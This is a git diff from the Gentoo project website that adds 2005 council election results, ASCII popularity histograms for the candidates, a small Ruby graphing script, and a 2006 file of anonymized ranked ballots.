+Thanks to the 148 people who voted.  I think that's slightly less than a
+50% turnout, but it's still not too shabby.
+
+The new Gentoo Council is:
+
+seemant
+vapier
+agriffis
+solar 
+azarah
+Swift
+Koon
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-vote-distribution.txt b/xml/htdocs/proj/en/council/voting-logs/council-2005-vote-distribution.txt
new file mode 100644
index 00000000..2746dc7b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-vote-distribution.txt
@@ -0,0 +1,133 @@
+For those of you that haven't seen these graphs before, here's how it works...
+These graphs show the popularity frequency distribution. So, a candidate who
+is universally loved will have tall bars towards the left of the graph, and a
+candidate who is universally hated will have tall bars towards the right.
+
+
+  1. seemant          2. vapier           3. agriffis
+|#                  |#                  |#
+|#                  |#                  |#
+|#                  |#                  |#
+|#                  |#                  |#
+|#                  |##                 |#
+|## #               |## #               |#  #
+|## # #             |## #               |#  #
+|#### ###           |####               |###### #
+|#### ### #  ##     |#####  # #  ##     |######## # ##
+|######## # ###     |########### ##     |######## #####
+|##############     |###############    |##############
++---------------    +---------------    +---------------
+
+  4. solar            5. azarah           6. SwifT
+|#                  |                   |
+|#                  |                   |
+|#                  |                   |#
+|#                  |                   |#
+|#                  |                   |#
+|#                  |#  #               |#            #
+|#                  |## # #      ##     |#        #   #
+|#   # ##  # ##     |## # ##     ##     |#     ####   #
+|## ##### ## ##     |#### ### # ###     |##### ########
+|##############     |##############     |##############
+|###############    |###############    |###############
++---------------    +---------------    +---------------
+
+  7. Koon             8.  Mr_Bones_       9. Plasmaroo
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |             #     |
+|#                  |#            #     |     #
+|#        ## ##     |#      #    ##     |#    # #  #
+|#  # ##  ## ##     |#  #   #   ###     |#    # # #####
+|#### ### #####     |## ## ## #####     |# ###### #####
+|##############     |##############     |##############
+|###############    |##############     |##############
++---------------    +---------------    +---------------
+
+ 10.  ciaranm        11.  Weeve          12. Ramereth
+|                   |                   |
+|                   |                   |
+|#                  |                   |
+|#             #    |                   |
+|#             #    |                   |
+|## #        # #    |       #     #     |
+|## #        ###    |#      #  # ##     |#    # #  # #
+|## #        ###    |#     ## ## ##     |#  # ### ## ##
+|## #   #    ###    |# # #### #####     |#  ##### #####
+|##### ##  #####    |##############     |###############
+|###############    |###############    |###############
++---------------    +---------------    +---------------
+
+ 13. tigger          14.  lcars          15. kugelfang
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |          #        |             #
+|         ##        |          #        |       #    ##
+|       # ## ##     |      #  ##  #     |      ##    ##
+|#  #  ## #####     |   #  ## ##  #     | #   ###   ###
+|#  ##### #####     |##############     |#### ###  ####
+|######## #####     |##############     |##############
+|##############     |###############    |###############
++---------------    +---------------    +---------------
+
+ 16. KingTaco        17. jaervosz        18. genone
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |                   |       #
+|          #        |             #     |       #     #
+|          #        |         ##  #     |       #     #
+|#    #   ##  #     |     #   ## ##     |       # #  ##
+|#    # # #####     |     ### ## ##     |     ### #####
+|##  #### #####     |#  # ### #####     |   # ### #####
+|## ###########     |##############     |##############
+|###############    |###############    |###############
++---------------    +---------------    +---------------
+
+ 19. slarti          20. Kumba           21. Stuart
+|                   |                   |
+|                   |                   |
+|                   |                   |
+|                   |             #     |
+|          #        |       # #   #     |            ##
+|       # ##        |       # ##  #     |         #  ##
+|       #### #      |       # ##  #     |         # ###
+|       #### ##     |       # ## ##     |       # #####
+|  ## # #######     |   ### # #####     |#  #   # ######
+| #############     |# ###### #####     |###############
+|###############    |###############    |###############
++---------------    +---------------    +---------------
+
+ 22= mcummings       22= spb             24. tomk
+|                   |                   |             #
+|                   |                   |             #
+|             #     |             #     |            ##
+|             #     |             #     |            ##
+|             #     |         #  ##     |            ##
+|            ##     |       # #  ##     |       #    ##
+|       #    ##     |       # ## ##     |       #    ##
+|      ## ######    |       # ## ##     |       # #####
+|    #### ######    |     # # #####     |     ### #####
+|#  ############    | ##############    |#    #########
+|###############    |###############    |## ############
++---------------    +---------------    +---------------
+
+ 25. bonsaikitten
+|             #
+|             #
+|             #
+|            ##
+|            ##
+|            ##
+|           ###
+|       # ######
+|       # ######
+|#   ###########
+|## ############
++---------------
+
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-grapher.rb.txt b/xml/htdocs/proj/en/council/voting-logs/council-2006-grapher.rb.txt
new file mode 100644
index 00000000..f35b57e5
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-grapher.rb.txt
@@ -0,0 +1,90 @@
+#!/usr/bin/ruby
+
+ResultsFile  = "council-2006-master.txt"
+RankingsFile = "council-2006-rank.txt"
+ScaleSize    = 10
+HeightScale  = 7
+BarHeight    = 8
+
+# Get all candidate names and initialise their vote count
+candidates = Hash.new
+ballots = Hash.new
+File.open ResultsFile, "r" do | file |
+    file.each_line do | line |
+        next if line =~ /^-/
+        line.split(%r/\s+/).each do | person |
+            candidates[person] = [0] * ScaleSize unless candidates[person]
+        end
+    end
+
+    file.seek(0, IO::SEEK_SET)
+
+    key = false
+    file.each_line do | line |
+        if line =~ %r/^-/
+            key = line.split(/\s+/).grep(/^[a-fA-F0-9]{4}$/)[0]
+            ballots[key] = []
+        else
+            raise "key not set yet" unless key
+            ballots[key].push line.chomp.split(/\s+/)
+        end
+    end
+end
+
+# Add in missing candidates
+ballots.keys.each do | key |
+    append_candidates = candidates.keys.dup
+    ballots[key].flatten.each do | candidate |
+        append_candidates.delete_if do | item |
+            item == candidate
+        end
+    end
+    unless append_candidates.empty?
+        ballots[key].push append_candidates
+    end
+end
+
+# Calculate distributions
+ballots.each_pair do | ballot, results |
+    scale_by = ScaleSize / (0.0 + results.length)
+    results.each_with_index do | result, index |
+        place = (scale_by * index.to_f).to_i
+        raise "out of range" unless (0..ScaleSize - 1).include? place
+        result.each do | candidate |
+            candidates[candidate][place] += 1
+        end
+    end
+end
+
+# Read in rankings
+rankings = []
+File.open RankingsFile, "r" do | file |
+    file.each_line do | line |
+        key = line.split(/\s+/)[0]
+        rankings << key
+    end
+end
+
+
+# Display distributions
+candidates.keys.sort do | a, b |
+    rankings << a unless rankings.index a
+    rankings << b unless rankings.index b
+    (rankings.index a) <=> (rankings.index b)
+end.each do | candidate |
+    puts "  " + candidate + " (" + (rankings.index(candidate) + 1).to_s + ")"
+    BarHeight.downto(0) do | height |
+        print "|"
+        candidates[candidate].each do | value |
+            if value > (height * HeightScale)
+                print "#"
+            else
+                print " "
+            end
+        end
+        puts
+    end
+    puts "+" + ("-" * ScaleSize)
+    puts
+end
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-master.txt b/xml/htdocs/proj/en/council/voting-logs/council-2006-master.txt
new file mode 100644
index 00000000..a863e77e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-master.txt
@@ -0,0 +1,1387 @@
+--------- confirmation 2b94 ---------
+vapier kloeri wolf31o2 robbat2 spb
+Kugelfang jaervosz KingTaco
+Ramereth `Kumba pauldv lu_zero
+jakub UberLord dostrow Flameeyes
+Pylon
+nattfodd rl03 CHTEKK
+patrick
+--------- confirmation 2e5d ---------
+Flameeyes
+KingTaco
+vapier
+patrick lu_zero Pylon dostrow UberLord `Kumba robbat2 spb rl03 Kugelfang jakub CHTEKK wolf31o2 pauldv
+Ramereth kloeri jaervosz nattfodd
+--------- confirmation 2f69 ---------
+vapier
+UberLord
+wolf31o2
+Kugelfang
+Flameeyes
+kloeri
+KingTaco
+`Kumba
+robbat2
+lu_zero
+CHTEKK
+pauldv
+nattfodd
+rl03
+Ramereth
+Pylon
+jaervosz
+jakub
+patrick
+dostrow
+spb
+--------- confirmation 3396 ---------
+jaervosz
+vapier
+pauldv
+Kugelfang
+Flameeyes
+kloeri
+robbat2
+lu_zero
+jakub
+UberLord
+rl03
+CHTEKK
+KingTaco
+`Kumba
+spb
+nattfodd
+dostrow
+patrick
+Pylon
+Ramereth
+wolf31o2
+--------- confirmation 3652 ---------
+vapier
+Flameeyes
+kloeri
+wolf31o2
+Pylon lu_zero Kugelfang CHTEKK KingTaco
+Ramereth jaervosz robbat2 UberLord `Kumba pauldv dostrow nattfodd rl03
+jakub patrick
+spb
+--------- confirmation 0571 ---------
+vapier wolf31o2 kloeri robbat2 Kugelfang Ramereth `Kumba KingTaco dostrow
+Flameeyes UberLord jakub pauldv jaervosz rl03 lu_zero Pylon CHTEKK nattfodd spb patrick
+--------- confirmation 3845 ---------
+pauldv
+robbat2
+Flameeyes
+vapier
+Pylon
+lu_zero
+wolf31o2
+`Kumba
+Ramereth
+Kugelfang
+jakub
+dostrow
+KingTaco
+kloeri
+jaervosz
+patrick
+UberLord
+nattfodd
+CHTEKK
+rl03
+spb
+--------- confirmation 38f6 ---------
+pauldv
+kloeri
+lu_zero
+wolf31o2
+robbat2
+vapier
+jakub
+Flameeyes
+dostrow CHTEKK Ramereth patrick `Kumba rl03 UberLord Pylon jaervosz KingTaco nattfodd Kugelfang
+spb
+--------- confirmation 3cea ---------
+KingTaco Kugelfang
+wolf31o2
+vapier UberLord Flameeyes dostrow
+rl03 Ramereth `Kumba spb nattfodd kloeri pauldv lu_zero patrick jaervosz robbat2 Pylon CHTEKK
+jakub
+--------- confirmation 3d6c ---------
+kloeri
+Flameeyes
+--------- confirmation 4196 ---------
+vapier
+pauldv
+kloeri
+Flameeyes
+lu_zero
+KingTaco
+Kugelfang
+Pylon rl03 dostrow `Kumba CHTEKK Ramereth robbat2 jaervosz nattfodd UberLord
+jakub
+patrick
+wolf31o2
+spb
+--------- confirmation 4211 ---------
+dostrow wolf31o2 vapier
+Ramereth Flameeyes kloeri
+rl03
+KingTaco
+Kugelfang
+`Kumba
+UberLord
+nattfodd
+lu_zero
+jaervosz
+pauldv
+Pylon
+spb
+robbat2
+CHTEKK
+patrick
+jakub
+--------- confirmation 42c9 ---------
+spb
+wolf31o2
+nattfodd
+vapier Ramereth robbat2 KingTaco
+pauldv jaervosz
+`Kumba kloeri rl03 UberLord
+--------- confirmation 46fc ---------
+vapier
+kloeri
+Flameeyes
+wolf31o2
+pauldv
+lu_zero
+patrick
+UberLord
+Kugelfang
+jakub
+nattfodd
+KingTaco
+robbat2
+spb
+Pylon
+rl03 `Kumba jaervosz dostrow CHTEKK Ramereth
+--------- confirmation 4903 ---------
+vapier
+UberLord
+wolf31o2
+CHTEKK
+Flameeyes
+rl03
+jakub
+dostrow
+Ramereth
+robbat2
+patrick pauldv lu_zero nattfodd jaervosz KingTaco `Kumba kloeri
+Kugelfang Pylon spb
+--------- confirmation 4d6e ---------
+vapier
+pauldv
+kloeri
+UberLord
+wolf31o2
+robbat2
+lu_zero jaervosz Flameeyes Kugelfang CHTEKK `Kumba
+rl03
+Pylon
+nattfodd
+Ramereth jakub dostrow patrick KingTaco
+spb
+--------- confirmation 4f4e ---------
+Flameeyes
+jaervosz
+kloeri
+jakub
+Kugelfang
+Pylon
+spb
+vapier
+pauldv
+robbat2
+wolf31o2
+UberLord
+dostrow
+KingTaco
+rl03
+lu_zero
+nattfodd
+`Kumba
+CHTEKK
+Ramereth
+patrick
+--------- confirmation 52ad ---------
+vapier
+KingTaco
+lu_zero
+pauldv
+kloeri
+Kugelfang
+UberLord
+jaervosz
+wolf31o2
+Flameeyes
+robbat2
+patrick
+jakub
+`Kumba
+CHTEKK
+nattfodd
+Pylon
+rl03
+Ramereth
+dostrow
+spb
+--------- confirmation 549c ---------
+jaervosz
+kloeri
+wolf31o2
+Ramereth
+spb
+--------- confirmation 565d ---------
+kloeri vapier
+KingTaco Ramereth robbat2
+wolf31o2
+UberLord dostrow
+nattfodd
+jaervosz
+Pylon rl03 lu_zero Flameeyes patrick `Kumba Kugelfang pauldv
+CHTEKK
+jakub
+spb
+--------- confirmation 579d ---------
+dostrow
+vapier wolf31o2 KingTaco Ramereth lu_zero kloeri
+Flameeyes Kugelfang UberLord `Kumba robbat2 Pylon
+nattfodd jaervosz pauldv
+rl03
+spb
+CHTEKK
+jakub
+patrick
+--------- confirmation 594b ---------
+CHTEKK
+vapier Flameeyes jaervosz kloeri KingTaco Ramereth
+jakub rl03
+UberLord
+robbat2 wolf31o2
+patrick pauldv
+lu_zero
+`Kumba spb
+--------- confirmation 095c ---------
+vapier jaervosz
+Flameeyes Kugelfang
+robbat2 jakub kloeri KingTaco
+wolf31o2 Pylon dostrow
+Ramereth UberLord CHTEKK `Kumba rl03 nattfodd lu_zero spb
+pauldv patrick
+--------- confirmation 5f84 ---------
+vapier
+wolf31o2 Flameeyes pauldv
+lu_zero Ramereth patrick dostrow KingTaco
+robbat2 Pylon Kugelfang jakub `Kumba UberLord spb kloeri
+jaervosz nattfodd rl03 CHTEKK
+--------- confirmation 5fa5 ---------
+robbat2 wolf31o2 vapier
+jaervosz Flameeyes nattfodd
+`Kumba KingTaco UberLord kloeri Kugelfang
+spb patrick lu_zero dostrow CHTEKK pauldv rl03 Pylon
+Ramereth jakub
+--------- confirmation 6338 ---------
+UberLord wolf31o2 Ramereth
+Flameeyes pauldv CHTEKK robbat2 KingTaco lu_zero vapier
+spb Kugelfang `Kumba jakub rl03 dostrow nattfodd kloeri patrick jaervosz Pylon
+--------- confirmation 6396 ---------
+vapier
+robbat2
+jakub
+Flameeyes
+Ramereth
+KingTaco
+wolf31o2
+CHTEKK
+UberLord
+Kugelfang
+lu_zero
+rl03 dostrow `Kumba spb nattfodd Pylon patrick
+pauldv kloeri jaervosz
+--------- confirmation 0a10 ---------
+wolf31o2
+dostrow
+Ramereth
+kloeri
+vapier
+KingTaco
+Kugelfang
+Flameeyes
+Pylon
+patrick
+`Kumba
+lu_zero
+nattfodd
+robbat2
+jaervosz
+pauldv
+rl03
+CHTEKK
+UberLord
+jakub
+spb
+--------- confirmation 6716 ---------
+Ramereth
+UberLord
+pauldv
+wolf31o2
+jaervosz
+KingTaco
+rl03
+dostrow
+robbat2
+CHTEKK
+kloeri
+Flameeyes
+lu_zero
+jakub
+Pylon
+spb
+patrick
+`Kumba
+nattfodd
+vapier
+Kugelfang
+--------- confirmation 672a ---------
+rl03 CHTEKK
+robbat2 pauldv kloeri Pylon
+UberLord jaervosz Flameeyes dostrow Ramereth lu_zero KingTaco vapier `Kumba nattfodd
+patrick jakub
+spb wolf31o2 Kugelfang
+--------- confirmation 6c0d ---------
+vapier
+`Kumba
+lu_zero
+robbat2
+jaervosz
+dostrow
+Pylon
+kloeri
+Flameeyes Kugelfang KingTaco
+pauldv
+nattfodd
+rl03 CHTEKK
+wolf31o2 UberLord spb Ramereth
+jakub patrick
+--------- confirmation 6cf7 ---------
+Kugelfang
+robbat2 KingTaco
+vapier wolf31o2
+pauldv lu_zero
+jakub Flameeyes
+dostrow
+kloeri `Kumba jaervosz CHTEKK nattfodd Ramereth UberLord rl03
+Pylon
+patrick
+spb
+--------- confirmation 6d3c ---------
+vapier
+Flameeyes
+KingTaco
+wolf31o2
+robbat2
+lu_zero
+jakub
+rl03 UberLord pauldv Ramereth kloeri Kugelfang nattfodd CHTEKK Pylon `Kumba dostrow jaervosz patrick spb
+--------- confirmation 6e6c ---------
+vapier
+wolf31o2
+pauldv
+robbat2
+kloeri
+`Kumba
+Pylon
+Flameeyes
+lu_zero
+dostrow
+nattfodd
+UberLord
+KingTaco
+Ramereth
+Kugelfang
+jaervosz
+rl03
+CHTEKK
+spb
+patrick
+jakub
+--------- confirmation 7071 ---------
+vapier
+kloeri Flameeyes
+KingTaco lu_zero wolf31o2 Ramereth `Kumba Pylon pauldv robbat2 Kugelfang nattfodd jaervosz dostrow
+spb
+UberLord rl03 CHTEKK
+patrick jakub
+--------- confirmation 7099 ---------
+vapier
+kloeri Ramereth
+jaervosz
+wolf31o2 pauldv Pylon
+dostrow Flameeyes robbat2 nattfodd spb Kugelfang
+rl03 UberLord jakub KingTaco CHTEKK lu_zero `Kumba
+patrick
+--------- confirmation 0bc2 ---------
+kloeri vapier wolf31o2 UberLord pauldv dostrow Flameeyes
+jaervosz `Kumba rl03 robbat2
+KingTaco CHTEKK lu_zero nattfodd Pylon Ramereth
+Kugelfang jakub patrick spb
+--------- confirmation 7706 ---------
+dostrow wolf31o2 vapier
+robbat2 Pylon kloeri
+patrick `Kumba CHTEKK UberLord Flameeyes KingTaco Kugelfang
+pauldv nattfodd
+jaervosz jakub rl03 lu_zero
+Ramereth spb
+--------- confirmation 79bf ---------
+vapier UberLord Flameeyes
+kloeri
+lu_zero Pylon
+Ramereth
+robbat2
+CHTEKK
+wolf31o2
+Kugelfang
+dostrow
+jaervosz
+nattfodd
+KingTaco
+`Kumba
+pauldv
+spb
+rl03
+patrick
+jakub
+--------- confirmation 7dbb ---------
+vapier
+kloeri wolf31o2 Ramereth KingTaco `Kumba
+lu_zero robbat2 Flameeyes
+Kugelfang Pylon
+nattfodd jaervosz
+rl03 pauldv spb jakub CHTEKK patrick dostrow UberLord
+--------- confirmation 7e86 ---------
+wolf31o2 vapier dostrow
+jaervosz kloeri robbat2 jakub
+`Kumba Ramereth KingTaco lu_zero Flameeyes
+CHTEKK Pylon patrick Kugelfang rl03
+nattfodd pauldv spb UberLord
+--------- confirmation 0d30 ---------
+vapier
+`Kumba
+dostrow
+kloeri
+Flameeyes
+pauldv
+robbat2
+jaervosz
+rl03
+lu_zero
+UberLord
+--------- confirmation 86a1 ---------
+wolf31o2 jakub Kugelfang
+Flameeyes KingTaco lu_zero vapier
+pauldv dostrow spb
+Ramereth
+--------- confirmation 86c8 ---------
+jakub
+lu_zero
+kloeri
+vapier
+--------- confirmation 871a ---------
+Flameeyes
+spb kloeri
+Kugelfang vapier
+robbat2
+--------- confirmation 0da7 ---------
+Pylon
+CHTEKK robbat2
+jakub
+jaervosz `Kumba Flameeyes dostrow patrick nattfodd vapier lu_zero wolf31o2 rl03 kloeri Kugelfang
+Ramereth UberLord pauldv KingTaco spb
+--------- confirmation 8a0e ---------
+wolf31o2
+vapier
+jaervosz
+robbat2
+kloeri
+pauldv
+Ramereth
+Kugelfang
+lu_zero
+rl03
+KingTaco
+`Kumba
+Pylon
+Flameeyes
+spb
+dostrow
+UberLord
+nattfodd
+CHTEKK
+jakub
+patrick
+--------- confirmation 8b83 ---------
+kloeri
+vapier
+Flameeyes
+wolf31o2
+--------- confirmation 903c ---------
+wolf31o2
+pauldv
+vapier
+KingTaco
+robbat2
+kloeri
+dostrow
+UberLord
+Ramereth
+jakub
+Flameeyes
+CHTEKK
+nattfodd jaervosz lu_zero `Kumba rl03 Kugelfang Pylon spb patrick
+--------- confirmation 92a6 ---------
+nattfodd
+wolf31o2
+Flameeyes
+KingTaco
+lu_zero
+dostrow
+kloeri
+jaervosz
+Ramereth
+vapier
+Kugelfang pauldv `Kumba robbat2 Pylon rl03 UberLord
+CHTEKK
+jakub
+spb
+patrick
+--------- confirmation 9588 ---------
+KingTaco
+wolf31o2
+Kugelfang
+kloeri
+vapier
+dostrow
+UberLord
+Flameeyes
+Ramereth
+robbat2
+jaervosz
+lu_zero
+Pylon
+CHTEKK
+`Kumba
+rl03 nattfodd
+pauldv
+jakub spb
+patrick
+--------- confirmation 99cb ---------
+Flameeyes jaervosz kloeri Kugelfang CHTEKK Pylon
+jakub
+rl03 wolf31o2 `Kumba lu_zero dostrow pauldv UberLord Ramereth spb KingTaco vapier patrick nattfodd robbat2
+--------- confirmation 9ac7 ---------
+kloeri vapier pauldv
+spb jaervosz
+Ramereth
+KingTaco
+lu_zero robbat2
+`Kumba Pylon Kugelfang
+UberLord
+dostrow
+CHTEKK
+wolf31o2 rl03
+Flameeyes jakub nattfodd patrick
+--------- confirmation 9f02 ---------
+CHTEKK
+kloeri
+UberLord
+Flameeyes
+--------- confirmation a00f ---------
+wolf31o2
+UberLord
+Ramereth kloeri
+KingTaco Flameeyes lu_zero
+vapier
+robbat2 jaervosz nattfodd `Kumba CHTEKK dostrow Kugelfang patrick Pylon pauldv rl03
+jakub
+spb
+--------- confirmation a10c ---------
+vapier
+spb
+wolf31o2
+UberLord
+lu_zero
+Flameeyes
+KingTaco
+`Kumba
+kloeri
+Kugelfang
+robbat2
+CHTEKK rl03 nattfodd jaervosz pauldv
+Ramereth
+Pylon
+dostrow
+jakub
+patrick
+--------- confirmation a138 ---------
+Ramereth
+KingTaco
+Pylon
+vapier
+`Kumba
+wolf31o2
+robbat2
+UberLord
+dostrow
+Flameeyes
+--------- confirmation a25d ---------
+jaervosz wolf31o2 vapier
+Kugelfang Ramereth
+KingTaco Flameeyes kloeri
+lu_zero robbat2 UberLord
+`Kumba dostrow
+spb pauldv jakub Pylon
+CHTEKK rl03 nattfodd
+patrick
+--------- confirmation a5fa ---------
+kloeri vapier wolf31o2 Flameeyes Ramereth lu_zero
+CHTEKK jaervosz dostrow jakub KingTaco nattfodd Pylon patrick robbat2 `Kumba UberLord rl03 pauldv
+Kugelfang spb
+--------- confirmation a77f ---------
+vapier
+kloeri
+`Kumba
+Kugelfang
+lu_zero
+Pylon
+robbat2
+Flameeyes
+wolf31o2
+Ramereth
+UberLord
+KingTaco
+dostrow
+spb
+jakub
+pauldv
+nattfodd
+rl03
+jaervosz
+CHTEKK
+patrick
+--------- confirmation a948 ---------
+spb
+Kugelfang
+`Kumba
+vapier
+kloeri
+wolf31o2
+robbat2
+dostrow
+KingTaco Pylon jaervosz UberLord lu_zero
+pauldv Ramereth rl03 nattfodd Flameeyes
+jakub CHTEKK
+patrick
+--------- confirmation aaa0 ---------
+kloeri
+Ramereth wolf31o2 KingTaco
+`Kumba Kugelfang
+jakub robbat2 vapier
+dostrow
+jaervosz rl03 nattfodd pauldv
+Flameeyes UberLord patrick Pylon CHTEKK lu_zero
+spb
+--------- confirmation acd8 ---------
+jakub kloeri rl03
+pauldv CHTEKK wolf31o2
+jaervosz
+Flameeyes
+vapier
+--------- confirmation adb0 ---------
+Flameeyes
+nattfodd
+CHTEKK
+rl03
+lu_zero
+UberLord
+pauldv
+kloeri
+Pylon
+robbat2
+jakub
+KingTaco
+`Kumba
+jaervosz
+patrick
+vapier
+Ramereth
+dostrow
+Kugelfang
+spb
+wolf31o2
+--------- confirmation 01c4 ---------
+Kugelfang vapier `Kumba wolf31o2 kloeri
+Pylon lu_zero Ramereth
+UberLord KingTaco
+jaervosz
+pauldv
+robbat2
+Flameeyes
+dostrow
+CHTEKK
+rl03
+nattfodd
+jakub
+spb
+patrick
+--------- confirmation b0a2 ---------
+vapier
+Flameeyes
+Kugelfang
+wolf31o2
+spb
+jakub
+KingTaco
+UberLord
+lu_zero
+kloeri
+pauldv
+Ramereth
+robbat2 dostrow
+rl03 nattfodd patrick CHTEKK jaervosz Pylon `Kumba
+--------- confirmation b0a4 ---------
+vapier kloeri
+UberLord CHTEKK KingTaco
+Flameeyes wolf31o2 Ramereth
+lu_zero
+robbat2
+`Kumba
+--------- confirmation b250 ---------
+vapier
+wolf31o2
+Flameeyes
+robbat2
+dostrow
+kloeri
+jaervosz
+nattfodd rl03
+Ramereth lu_zero `Kumba UberLord
+Kugelfang Pylon CHTEKK
+patrick KingTaco spb jakub pauldv
+--------- confirmation b7ff ---------
+lu_zero
+vapier
+Flameeyes
+Pylon
+`Kumba dostrow
+CHTEKK
+Kugelfang spb
+KingTaco
+jakub
+robbat2
+wolf31o2
+kloeri
+UberLord
+Ramereth
+jaervosz
+pauldv
+nattfodd
+rl03
+patrick
+--------- confirmation b97c ---------
+wolf31o2 kloeri
+vapier robbat2
+Ramereth
+spb
+Flameeyes jaervosz
+--------- confirmation baf9 ---------
+wolf31o2
+vapier
+dostrow
+Ramereth
+Flameeyes
+KingTaco
+Kugelfang
+`Kumba
+Pylon
+jaervosz
+spb
+UberLord
+patrick
+robbat2
+CHTEKK
+pauldv
+nattfodd
+rl03
+lu_zero
+kloeri
+jakub
+--------- confirmation bc00 ---------
+vapier
+wolf31o2
+Pylon
+Kugelfang
+robbat2
+spb
+dostrow
+lu_zero
+rl03
+patrick
+pauldv
+kloeri
+KingTaco
+Ramereth
+`Kumba
+UberLord
+jaervosz
+CHTEKK
+jakub
+Flameeyes
+nattfodd
+--------- confirmation bf0e ---------
+Flameeyes dostrow vapier jaervosz KingTaco Ramereth
+Kugelfang `Kumba lu_zero
+kloeri pauldv UberLord robbat2 CHTEKK spb
+wolf31o2 Pylon rl03 nattfodd
+jakub
+patrick
+--------- confirmation c1a2 ---------
+vapier
+wolf31o2 Flameeyes
+Kugelfang KingTaco dostrow
+--------- confirmation c4d9 ---------
+spb
+Ramereth
+KingTaco
+wolf31o2
+vapier
+kloeri
+pauldv
+--------- confirmation c5ee ---------
+KingTaco Ramereth jaervosz
+Pylon UberLord CHTEKK wolf31o2 vapier patrick robbat2 dostrow Kugelfang kloeri pauldv lu_zero
+Flameeyes nattfodd rl03 `Kumba
+spb
+jakub
+--------- confirmation c7a3 ---------
+vapier
+Pylon
+jaervosz
+UberLord
+rl03
+KingTaco
+`Kumba
+Kugelfang
+kloeri
+nattfodd
+lu_zero
+dostrow
+Flameeyes
+pauldv
+robbat2
+CHTEKK
+jakub
+wolf31o2
+Ramereth
+spb
+patrick
+--------- confirmation c814 ---------
+robbat2
+wolf31o2
+vapier Flameeyes
+UberLord
+dostrow Pylon KingTaco
+patrick `Kumba
+Ramereth pauldv
+Kugelfang jaervosz kloeri lu_zero
+spb jakub nattfodd CHTEKK rl03
+--------- confirmation c8cd ---------
+kloeri
+vapier
+Flameeyes CHTEKK UberLord rl03 jakub
+robbat2 jaervosz Kugelfang KingTaco patrick
+pauldv dostrow lu_zero nattfodd
+Pylon `Kumba
+wolf31o2
+spb
+Ramereth
+--------- confirmation cb44 ---------
+Pylon
+Flameeyes
+vapier
+KingTaco
+Kugelfang
+kloeri
+nattfodd patrick
+jakub
+`Kumba robbat2
+dostrow
+Ramereth
+CHTEKK UberLord
+wolf31o2
+pauldv jaervosz
+spb
+rl03 lu_zero
+--------- confirmation cbbb ---------
+vapier wolf31o2 robbat2
+Flameeyes Ramereth KingTaco Kugelfang
+lu_zero UberLord jaervosz pauldv dostrow
+CHTEKK Pylon kloeri `Kumba rl03 nattfodd
+spb jakub
+patrick
+--------- confirmation cc90 ---------
+patrick
+pauldv kloeri
+Flameeyes vapier Pylon robbat2
+jakub CHTEKK lu_zero nattfodd
+--------- confirmation d135 ---------
+KingTaco
+`Kumba
+vapier
+Kugelfang
+Pylon
+wolf31o2
+Ramereth
+pauldv
+jaervosz
+jakub
+spb
+dostrow
+robbat2
+nattfodd
+Flameeyes
+kloeri
+rl03
+CHTEKK
+patrick
+lu_zero
+UberLord
+--------- confirmation d1b8 ---------
+`Kumba vapier
+spb
+KingTaco
+Flameeyes
+Ramereth
+jaervosz
+dostrow
+robbat2
+Kugelfang
+CHTEKK
+UberLord
+kloeri
+wolf31o2
+patrick
+rl03
+nattfodd
+lu_zero
+jakub
+pauldv Pylon
+--------- confirmation d1bf ---------
+Flameeyes
+jakub
+CHTEKK
+robbat2 lu_zero
+KingTaco
+vapier
+UberLord pauldv Pylon Kugelfang
+wolf31o2
+rl03 dostrow `Kumba patrick Ramereth jaervosz kloeri nattfodd
+spb
+--------- confirmation d52c ---------
+kloeri
+KingTaco
+Flameeyes
+jakub
+CHTEKK dostrow Kugelfang jaervosz Ramereth lu_zero pauldv nattfodd robbat2 Pylon `Kumba vapier
+UberLord wolf31o2 rl03 spb
+patrick
+--------- confirmation d55f ---------
+Pylon kloeri jaervosz robbat2 vapier
+Flameeyes KingTaco Ramereth
+CHTEKK dostrow Kugelfang UberLord
+wolf31o2 pauldv `Kumba rl03 lu_zero
+nattfodd
+jakub
+spb
+patrick
+--------- confirmation d694 ---------
+spb Kugelfang
+UberLord jakub
+lu_zero
+kloeri Flameeyes CHTEKK pauldv Pylon dostrow jaervosz nattfodd rl03 KingTaco robbat2 `Kumba patrick
+Ramereth
+wolf31o2 vapier
+--------- confirmation d8e1 ---------
+wolf31o2 Flameeyes kloeri spb jakub vapier
+--------- confirmation dc06 ---------
+kloeri Pylon
+KingTaco Flameeyes jaervosz
+vapier UberLord
+pauldv nattfodd rl03 CHTEKK robbat2 lu_zero `Kumba dostrow
+Kugelfang
+jakub
+wolf31o2 Ramereth
+patrick
+spb
+--------- confirmation dc6b ---------
+Flameeyes
+spb
+wolf31o2
+kloeri
+UberLord
+Pylon
+lu_zero
+vapier
+KingTaco
+pauldv
+robbat2
+nattfodd
+jakub
+dostrow
+patrick
+Ramereth
+rl03
+CHTEKK
+Kugelfang
+jaervosz
+`Kumba
+--------- confirmation ded4 ---------
+lu_zero vapier kloeri dostrow jaervosz robbat2
+wolf31o2 Kugelfang Flameeyes
+CHTEKK jakub
+UberLord KingTaco Pylon
+Ramereth `Kumba
+rl03
+pauldv nattfodd patrick spb
+--------- confirmation e0de ---------
+Flameeyes
+vapier
+pauldv
+wolf31o2
+kloeri
+jakub
+CHTEKK Ramereth Pylon rl03 robbat2 patrick Kugelfang spb UberLord lu_zero KingTaco nattfodd dostrow
+jaervosz `Kumba
+--------- confirmation e33b ---------
+robbat2 jaervosz KingTaco vapier `Kumba UberLord Kugelfang
+nattfodd kloeri wolf31o2 Pylon
+spb dostrow
+rl03
+Flameeyes
+CHTEKK
+pauldv
+lu_zero
+patrick
+jakub
+Ramereth
+--------- confirmation 16bc ---------
+vapier
+CHTEKK
+wolf31o2
+jaervosz
+dostrow
+kloeri
+`Kumba
+rl03
+pauldv
+Flameeyes
+Pylon
+nattfodd
+robbat2
+jakub
+Ramereth
+Kugelfang
+KingTaco
+UberLord
+lu_zero
+spb
+patrick
+--------- confirmation e38d ---------
+Flameeyes
+wolf31o2 kloeri UberLord
+vapier Pylon
+Kugelfang
+lu_zero
+`Kumba
+robbat2
+dostrow
